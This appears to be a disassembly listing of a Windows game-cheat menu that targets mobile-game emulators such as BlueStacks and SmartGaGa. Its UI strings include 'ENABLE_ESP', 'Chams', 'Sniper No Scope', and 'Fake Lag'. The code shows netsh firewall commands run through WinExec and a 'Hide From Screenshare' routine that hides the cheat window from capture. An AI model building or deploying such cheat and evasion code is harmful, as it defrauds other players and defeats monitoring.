cmp byte [r9 + 0xb0], r12b
jne 0x14005736c
xor ecx, ecx
call fcn.1400173d0
lea rcx, str.Apply_in_Login
call fcn.140038110
mov rax, qword [0x140145120]
mov rcx, qword [rax + 0x3ed0]
test dword [rcx + 0xc], 0x2000000
jne 0x14005735f
mov r8d, 0x26d8
lea rdx, str.C:UsersRBMDesktopBYAPSSSAM_Cimgui.cpp
lea rcx, str.GetCurrentWindowRead____Flags__ImGuiWindowFlags_Tooltip
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.140011900
movzx r10d, byte [0x14014514c]
test r10b, r10b
je 0x1400574f7
xor edx, edx
cmp byte [0x14014519f], r12b
je 0x140057459
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In1__dirin_actionblock_program__ProgramFiles_BlueStacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In1__dirout_actionblock_program__ProgramFiles_Bluestacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In2__dirin_actionblock_program__ProgramFiles_BlueStacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In2__dirout_actionblock_program__ProgramFiles_BluestacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In3__dirin_actionblock_program__ProgramFiles_BlueStacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In3__dirout_actionblock_program__ProgramFiles_Bluestacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In6__dirin_actionblock_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In6__dirout_actionblock_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In4__dirin_actionblock_program__ProgramData_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In4__dirout_actionblock_program__ProgramData_Bluestacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In5__dirin_actionblock_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In5__dirout_actionblock_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
movups xmm6, xmmword [0x140143bb8]
lea rdx, str.Desactivado_Internet_
lea rcx, [rbp + 0x918]
call fcn.140046890
lea rcx, [rbp + 0x938]
jmp 0x1400574d2
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramData_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
movups xmm6, xmmword [0x140143bb8]
lea rdx, str.Activado_Internet_
lea rcx, [rbp + 0x958]
call fcn.140046890
lea rcx, [rbp + 0x978]
lea rdx, str.Notification
mov rbx, rax
call fcn.140046890
lea r9, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm6
mov r8, rbx
mov rdx, rax
call fcn.14004b380
xor r9d, r9d
lea r8, str.Hide_From_Screenshare
lea rdx, [0x140145199]
lea rcx, str.Streamer_Mode
call fcn.140039f40
mov byte [0x140145135], al
test al, al
je 0x14005768e
cmp byte [0x140145199], r12b
movups xmm6, xmmword [0x140143bb8]
je 0x1400575e2
lea rdx, str.Streamer_Mode_Activated
lea rcx, [rbp + 0x998]
call fcn.140046890
lea rdx, [0x1400e6390]
mov rbx, rax
lea rcx, [rbp + 0x9b8]
call fcn.140046890
lea r9, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm6
mov r8, rbx
mov rdx, rax
call fcn.14004b380
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, rax
mov edx, reloc.WS2_32.dll_recvfrom
call qword [sym.imp.USER32.dll_SetWindowDisplayAffinity]
xor ecx, ecx
mov qword [rbp - 0x60], r12
call qword [sym.imp.ole32.dll_CoInitialize]
lea rax, [rbp - 0x60]
mov r8d, r13d
lea r9, [0x1400ca080]
mov qword [rsp + 0x20], rax
xor edx, edx
lea rcx, [0x1400ca090]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x140057688
mov rax, qword [rbp - 0x60]
mov rcx, qword [rax]
mov rbx, qword [rcx + 0x28]
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, qword [rbp - 0x60]
mov rdx, rax
call rbx
mov rcx, qword [rbp - 0x60]
jmp 0x140057682
lea rdx, str.Streamer_Mode_Removed
lea rcx, [rbp + 0x9d8]
call fcn.140046890
lea rdx, [0x1400e6390]
mov rbx, rax
lea rcx, [rbp + 0x9f8]
call fcn.140046890
lea r9, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm6
mov r8, rbx
mov rdx, rax
call fcn.14004b380
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_SetWindowDisplayAffinity]
xor ecx, ecx
mov qword [rbp - 0x58], r12
call qword [sym.imp.ole32.dll_CoInitialize]
lea rax, [rbp - 0x58]
mov r8d, r13d
lea r9, [0x1400ca080]
mov qword [rsp + 0x20], rax
xor edx, edx
lea rcx, [0x1400ca090]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x140057688
mov rax, qword [rbp - 0x58]
mov rcx, qword [rax]
mov rbx, qword [rcx + 0x20]
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, qword [rbp - 0x58]
mov rdx, rax
call rbx
mov rcx, qword [rbp - 0x58]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov rcx, qword [0x140145120]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r12b
je 0x1400576da
cmp byte [rcx + 0x48f2], r12b
jne 0x1400576da
test byte [rcx + 0x4770], 4
jne 0x1400577eb
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x1400577eb
test eax, eax
jne 0x1400577a2
jmp 0x1400577eb
mov eax, dword [rcx + 0x4774]
test r13b, al
je 0x1400577eb
cmp qword [rcx + 0x3ed8], r9
je 0x1400576fa
test al, al
jns 0x1400577eb
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x14005771f
cmp eax, dword [rcx + 0x476c]
je 0x14005771f
cmp byte [rcx + 0x3f3d], r12b
jne 0x14005771f
cmp eax, dword [r9 + 0x74]
jne 0x1400577eb
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x140057784
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x140057784
cmp byte [rdx + 0xaf], r12b
je 0x140057784
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x140057784
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x14005775e
bt r8d, 0x1a
jae 0x140057784
cmp qword [rax + 0x370], rdx
je 0x140057784
cmp rax, rdx
je 0x140057784
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x140057767
test dword [rcx + 0x4770], 0x100
je 0x1400577eb
test byte [rcx + 0x4770], 4
jne 0x1400577eb
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x1400577a2
cmp byte [r9 + 0xb0], r12b
jne 0x1400577eb
xor ecx, ecx
call fcn.1400173d0
lea rcx, str.Hide_From_Screenshare
call fcn.140038110
mov rax, qword [0x140145120]
mov rcx, qword [rax + 0x3ed0]
test dword [rcx + 0xc], 0x2000000
jne 0x1400577e6
mov r8d, 0x26d8
lea rdx, str.C:UsersRBMDesktopBYAPSSSAM_Cimgui.cpp
lea rcx, str.GetCurrentWindowRead____Flags__ImGuiWindowFlags_Tooltip
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.140011900
call fcn.14000c160
mov eax, dword [0x14016aa2c]
cmp eax, 2
jne 0x140057dc3
mov rcx, qword [0x140145120]
lea rdx, str.RAGE
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
movss xmm1, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x80]
addss xmm0, xmm11
addss xmm1, xmm11
unpcklps xmm0, xmm1
movsd qword [rax + 0xf8], xmm0
mov byte [rax + 0x139], r13b
mov dword [rbp + 0x90], 0x43960000
mov dword [rbp + 0x94], 0x43f50000
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rcx, qword [rcx + 0x3ed0]
call fcn.140007b50
mov edx, eax
mov dword [rsp + 0x20], r12d
xor r9d, r9d
lea r8, [rbp + 0x90]
lea rcx, str.RAGE
call fcn.14000be00
xor r9d, r9d
lea r8, str.Apply_in_Match
lea rdx, [0x14014514f]
lea rcx, str.Sniper_No_Scope
call fcn.140039f40
mov byte [0x14014511b], al
test al, al
je 0x1400578f5
cmp byte [0x14014514f], r12b
je 0x1400578f5
lea rcx, [rbp + 0x460]
call fcn.14005ed50
lea rcx, [rbp + 0x460]
call fcn.14004ba10
cmp dword [rbp + 0x468], r12d
jne 0x14005a447
mov rcx, qword [0x140145120]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r12b
je 0x140057941
cmp byte [rcx + 0x48f2], r12b
jne 0x140057941
test byte [rcx + 0x4770], 4
jne 0x140057a54
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x140057a54
test eax, eax
jne 0x140057a0b
jmp 0x140057a54
mov eax, dword [rcx + 0x4774]
test r13b, al
je 0x140057a54
cmp qword [rcx + 0x3ed8], r9
je 0x140057961
test al, al
jns 0x140057a54
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x140057986
cmp eax, dword [rcx + 0x476c]
je 0x140057986
cmp byte [rcx + 0x3f3d], r12b
jne 0x140057986
cmp eax, dword [r9 + 0x74]
jne 0x140057a54
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x1400579ed
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x1400579ed
cmp byte [rdx + 0xaf], r12b
je 0x1400579ed
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x1400579ed
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x1400579c5
bt r8d, 0x1a
jae 0x1400579ed
cmp qword [rax + 0x370], rdx
je 0x1400579ed
nop
cmp rax, rdx
je 0x1400579ed
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x1400579d0
test dword [rcx + 0x4770], 0x100
je 0x140057a54
test byte [rcx + 0x4770], 4
jne 0x140057a54
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x140057a0b
cmp byte [r9 + 0xb0], r12b
jne 0x140057a54
xor ecx, ecx
call fcn.1400173d0
lea rcx, str.Apply_in_Match
call fcn.140038110
mov rax, qword [0x140145120]
mov rcx, qword [rax + 0x3ed0]
test dword [rcx + 0xc], 0x2000000
jne 0x140057a4f
mov r8d, 0x26d8
lea rdx, str.C:UsersRBMDesktopBYAPSSSAM_Cimgui.cpp
lea rcx, str.GetCurrentWindowRead____Flags__ImGuiWindowFlags_Tooltip
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.140011900
xor r9d, r9d
lea r8, str.Apply_in_Match
lea rdx, [0x14014519a]
lea rcx, str.Sniper_Scope
call fcn.140039f40
mov byte [0x140145134], al
test al, al
je 0x140057aa9
cmp byte [0x14014519a], r12b
je 0x140057aa9
lea rcx, [rbp + 0x470]
call fcn.14005ec00
lea rcx, [rbp + 0x470]
call fcn.14004ba10
cmp dword [rbp + 0x478], r12d
jne 0x14005a447
mov rcx, qword [0x140145120]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r12b
je 0x140057af5
cmp byte [rcx + 0x48f2], r12b
jne 0x140057af5
test byte [rcx + 0x4770], 4
jne 0x140057c06
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x140057c06
test eax, eax
jne 0x140057bbd
jmp 0x140057c06
mov eax, dword [rcx + 0x4774]
test r13b, al
je 0x140057c06
cmp qword [rcx + 0x3ed8], r9
je 0x140057b15
test al, al
jns 0x140057c06
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x140057b3a
cmp eax, dword [rcx + 0x476c]
je 0x140057b3a
cmp byte [rcx + 0x3f3d], r12b
jne 0x140057b3a
cmp eax, dword [r9 + 0x74]
jne 0x140057c06
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x140057b9f
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x140057b9f
cmp byte [rdx + 0xaf], r12b
je 0x140057b9f
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x140057b9f
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x140057b79
bt r8d, 0x1a
jae 0x140057b9f
cmp qword [rax + 0x370], rdx
je 0x140057b9f
cmp rax, rdx
je 0x140057b9f
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x140057b82
test dword [rcx + 0x4770], 0x100
je 0x140057c06
test byte [rcx + 0x4770], 4
jne 0x140057c06
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x140057bbd
cmp byte [r9 + 0xb0], r12b
jne 0x140057c06
xor ecx, ecx
call fcn.1400173d0
lea rcx, str.Apply_in_Match
call fcn.140038110
mov rax, qword [0x140145120]
mov rcx, qword [rax + 0x3ed0]
test dword [rcx + 0xc], 0x2000000
jne 0x140057c01
mov r8d, 0x26d8
lea rdx, str.C:UsersRBMDesktopBYAPSSSAM_Cimgui.cpp
lea rcx, str.GetCurrentWindowRead____Flags__ImGuiWindowFlags_Tooltip
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.140011900
xor r9d, r9d
lea r8, str.Apply_in_Match
lea rdx, [0x14014519c]
lea rcx, str.Quick_Switch_V2
call fcn.140039f40
mov byte [0x140145137], al
test al, al
je 0x140057c5b
cmp byte [0x14014519c], r12b
je 0x140057c5b
lea rcx, [rbp + 0x330]
call fcn.14005ec70
lea rcx, [rbp + 0x330]
call fcn.14004ba10
cmp dword [rbp + 0x338], r12d
jne 0x14005a447
mov rcx, qword [0x140145120]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r12b
je 0x140057ca7
cmp byte [rcx + 0x48f2], r12b
jne 0x140057ca7
test byte [rcx + 0x4770], 4
jne 0x140057db8
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x140057db8
test eax, eax
jne 0x140057d6f
jmp 0x140057db8
mov eax, dword [rcx + 0x4774]
test r13b, al
je 0x140057db8
cmp qword [rcx + 0x3ed8], r9
je 0x140057cc7
test al, al
jns 0x140057db8
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x140057cec
cmp eax, dword [rcx + 0x476c]
je 0x140057cec
cmp byte [rcx + 0x3f3d], r12b
jne 0x140057cec
cmp eax, dword [r9 + 0x74]
jne 0x140057db8
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x140057d51
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x140057d51
cmp byte [rdx + 0xaf], r12b
je 0x140057d51
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x140057d51
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x140057d2b
bt r8d, 0x1a
jae 0x140057d51
cmp qword [rax + 0x370], rdx
je 0x140057d51
cmp rax, rdx
je 0x140057d51
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x140057d34
test dword [rcx + 0x4770], 0x100
je 0x140057db8
test byte [rcx + 0x4770], 4
jne 0x140057db8
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x140057d6f
cmp byte [r9 + 0xb0], r12b
jne 0x140057db8
xor ecx, ecx
call fcn.1400173d0
lea rcx, str.Apply_in_Match
call fcn.140038110
mov rax, qword [0x140145120]
mov rcx, qword [rax + 0x3ed0]
test dword [rcx + 0xc], 0x2000000
jne 0x140057db3
mov r8d, 0x26d8
lea rdx, str.C:UsersRBMDesktopBYAPSSSAM_Cimgui.cpp
lea rcx, str.GetCurrentWindowRead____Flags__ImGuiWindowFlags_Tooltip
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.140011900
call fcn.14000c160
mov eax, dword [0x14016aa2c]
cmp eax, r13d
jne 0x14005845f
mov rcx, qword [0x140145120]
lea rdx, str.Visual
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
movss xmm1, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x80]
addss xmm0, xmm11
addss xmm1, xmm11
unpcklps xmm0, xmm1
movsd qword [rax + 0xf8], xmm0
mov byte [rax + 0x139], r13b
mov dword [rbp + 0x98], 0x43960000
mov dword [rbp + 0x9c], 0x43f50000
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rcx, qword [rcx + 0x3ed0]
call fcn.140007b50
mov edx, eax
mov dword [rsp + 0x20], r12d
xor r9d, r9d
lea r8, [rbp + 0x98]
lea rcx, str.Visual
call fcn.14000be00
xor r9d, r9d
lea r8, str.Open_In_Emulators
lea rdx, [0x140145195]
lea rcx, str.ENABLE_ESP
call fcn.140039f40
mov byte [0x14014511d], al
test al, al
je 0x140057ee7
cmp byte [0x140145195], r12b
je 0x140057ee7
lea rcx, [rbp + 0x350]
call fcn.14005edc0
lea rcx, [rbp + 0x350]
call fcn.14004ba10
lea rcx, [rbp + 0x340]
call fcn.14005ee30
lea rcx, [rbp + 0x340]
call fcn.14004ba10
cmp dword [rbp + 0x348], r12d
jne 0x14005a447
cmp dword [rbp + 0x358], r12d
jne 0x14005a447
mov rcx, qword [0x140145120]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r12b
je 0x140057f33
cmp byte [rcx + 0x48f2], r12b
jne 0x140057f33
test byte [rcx + 0x4770], 4
jne 0x140058044
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x140058044
test eax, eax
jne 0x140057ffb
jmp 0x140058044
mov eax, dword [rcx + 0x4774]
test r13b, al
je 0x140058044
cmp qword [rcx + 0x3ed8], r9
je 0x140057f53
test al, al
jns 0x140058044
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x140057f78
cmp eax, dword [rcx + 0x476c]
je 0x140057f78
cmp byte [rcx + 0x3f3d], r12b
jne 0x140057f78
cmp eax, dword [r9 + 0x74]
jne 0x140058044
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x140057fdd
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x140057fdd
cmp byte [rdx + 0xaf], r12b
je 0x140057fdd
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x140057fdd
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x140057fb7
bt r8d, 0x1a
jae 0x140057fdd
cmp qword [rax + 0x370], rdx
je 0x140057fdd
cmp rax, rdx
je 0x140057fdd
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x140057fc0
test dword [rcx + 0x4770], 0x100
je 0x140058044
test byte [rcx + 0x4770], 4
jne 0x140058044
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x140057ffb
cmp byte [r9 + 0xb0], r12b
jne 0x140058044
xor ecx, ecx
call fcn.1400173d0
lea rcx, str.Open_In_Emulators
call fcn.140038110
mov rax, qword [0x140145120]
mov rcx, qword [rax + 0x3ed0]
test dword [rcx + 0xc], 0x2000000
jne 0x14005803f
mov r8d, 0x26d8
lea rdx, str.C:UsersRBMDesktopBYAPSSSAM_Cimgui.cpp
lea rcx, str.GetCurrentWindowRead____Flags__ImGuiWindowFlags_Tooltip
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.140011900
xor r9d, r9d
lea r8, str.Open_In_Emulators
lea rdx, [0x140145196]
lea rcx, str.Chams_Menu_V1
call fcn.140039f40
mov byte [0x14014511e], al
test al, al
je 0x140058099
cmp byte [0x140145196], r12b
je 0x140058099
lea rcx, [rbp + 0x360]
call fcn.14005ece0
lea rcx, [rbp + 0x360]
call fcn.14004ba10
cmp dword [rbp + 0x368], r12d
jne 0x14005a447
mov rcx, qword [0x140145120]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r12b
je 0x1400580e5
cmp byte [rcx + 0x48f2], r12b
jne 0x1400580e5
test byte [rcx + 0x4770], 4
jne 0x1400581f6
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x1400581f6
test eax, eax
jne 0x1400581ad
jmp 0x1400581f6
mov eax, dword [rcx + 0x4774]
test r13b, al
je 0x1400581f6
cmp qword [rcx + 0x3ed8], r9
je 0x140058105
test al, al
jns 0x1400581f6
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x14005812a
cmp eax, dword [rcx + 0x476c]
je 0x14005812a
cmp byte [rcx + 0x3f3d], r12b
jne 0x14005812a
cmp eax, dword [r9 + 0x74]
jne 0x1400581f6
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x14005818f
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x14005818f
cmp byte [rdx + 0xaf], r12b
je 0x14005818f
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x14005818f
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x140058169
bt r8d, 0x1a
jae 0x14005818f
cmp qword [rax + 0x370], rdx
je 0x14005818f
cmp rax, rdx
je 0x14005818f
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x140058172
test dword [rcx + 0x4770], 0x100
je 0x1400581f6
test byte [rcx + 0x4770], 4
jne 0x1400581f6
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x1400581ad
cmp byte [r9 + 0xb0], r12b
jne 0x1400581f6
xor ecx, ecx
call fcn.1400173d0
lea rcx, str.Open_In_Emulators
call fcn.140038110
mov rax, qword [0x140145120]
mov rcx, qword [rax + 0x3ed0]
test dword [rcx + 0xc], 0x2000000
jne 0x1400581f1
mov r8d, 0x26d8
lea rdx, str.C:UsersRBMDesktopBYAPSSSAM_Cimgui.cpp
lea rcx, str.GetCurrentWindowRead____Flags__ImGuiWindowFlags_Tooltip
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.140011900
xor r9d, r9d
lea r8, str.Open_In_Emulators
lea rdx, [0x14014514e]
lea rcx, str.Chams_Menu_V2
call fcn.140039f40
mov byte [0x14014511a], al
test al, al
je 0x14005824b
cmp byte [0x14014514e], r12b
je 0x14005824b
lea rcx, [rbp + 0x370]
call fcn.14005eea0
lea rcx, [rbp + 0x370]
call fcn.14004ba10
cmp dword [rbp + 0x378], r12d
jne 0x14005a447
mov rcx, qword [0x140145120]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r12b
je 0x140058297
cmp byte [rcx + 0x48f2], r12b
jne 0x140058297
test byte [rcx + 0x4770], 4
jne 0x1400583a8
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x1400583a8
test eax, eax
jne 0x14005835f
jmp 0x1400583a8
mov eax, dword [rcx + 0x4774]
test r13b, al
je 0x1400583a8
cmp qword [rcx + 0x3ed8], r9
je 0x1400582b7
test al, al
jns 0x1400583a8
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x1400582dc
cmp eax, dword [rcx + 0x476c]
je 0x1400582dc
cmp byte [rcx + 0x3f3d], r12b
jne 0x1400582dc
cmp eax, dword [r9 + 0x74]
jne 0x1400583a8
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x140058341
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x140058341
cmp byte [rdx + 0xaf], r12b
je 0x140058341
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x140058341
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x14005831b
bt r8d, 0x1a
jae 0x140058341
cmp qword [rax + 0x370], rdx
je 0x140058341
cmp rax, rdx
je 0x140058341
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x140058324
test dword [rcx + 0x4770], 0x100
je 0x1400583a8
test byte [rcx + 0x4770], 4
jne 0x1400583a8
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x14005835f
cmp byte [r9 + 0xb0], r12b
jne 0x1400583a8
xor ecx, ecx
call fcn.1400173d0
lea rcx, str.Open_In_Emulators
call fcn.140038110
mov rax, qword [0x140145120]
mov rcx, qword [rax + 0x3ed0]
test dword [rcx + 0xc], 0x2000000
jne 0x1400583a3
mov r8d, 0x26d8
lea rdx, str.C:UsersRBMDesktopBYAPSSSAM_Cimgui.cpp
lea rcx, str.GetCurrentWindowRead____Flags__ImGuiWindowFlags_Tooltip
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.140011900
call fcn.14000c160
mov rcx, qword [0x140145120]
lea rdx, str.Checkbox_Xbest_X_tre_V1
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
movss xmm1, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x80]
addss xmm0, xmm11
addss xmm1, dword [0x1400e74fc]
unpcklps xmm0, xmm1
movsd qword [rax + 0xf8], xmm0
mov byte [rax + 0x139], r13b
mov dword [rbp + 0xa0], 0x43960000
mov dword [rbp + 0xa4], 0x43f50000
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rcx, qword [rcx + 0x3ed0]
call fcn.140007b50
mov edx, eax
mov dword [rsp + 0x20], 8
xor r9d, r9d
lea r8, [rbp + 0xa0]
lea rcx, str.Checkbox_Xbest_X_tre_V1
call fcn.14000be00
call fcn.14000c160
mov eax, dword [0x14016aa2c]
cmp eax, 3
jne 0x140058a9a
mov rcx, qword [0x140145120]
lea rdx, str.Checkbox_SAM_X_tre_V2
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
movss xmm1, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x80]
addss xmm0, xmm11
addss xmm1, xmm11
unpcklps xmm0, xmm1
movsd qword [rax + 0xf8], xmm0
mov byte [rax + 0x139], r13b
mov dword [rbp + 0xa8], 0x43960000
mov dword [rbp + 0xac], 0x43f50000
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rcx, qword [rcx + 0x3ed0]
call fcn.140007b50
mov edx, eax
mov dword [rsp + 0x20], 8
xor r9d, r9d
lea r8, [rbp + 0xa8]
lea rcx, str.Checkbox_SAM_X_tre_V2
call fcn.14000be00
lea rax, [0x1400dd8ac]
mov dword [rsp + 0x30], r12d
mov qword [rsp + 0x28], rax
lea r9, [rbp - 0x68]
lea rax, [rbp - 0x20]
mov dword [rbp - 0x20], 5
lea r8, [0x140145238]
mov qword [rsp + 0x20], rax
mov edx, 4
mov dword [rbp - 0x68], r12d
lea rcx, str.Fake_Lag
call fcn.14003c340
mov rdx, qword [0x140145120]
mov r9, qword [rdx + 0x3ed0]
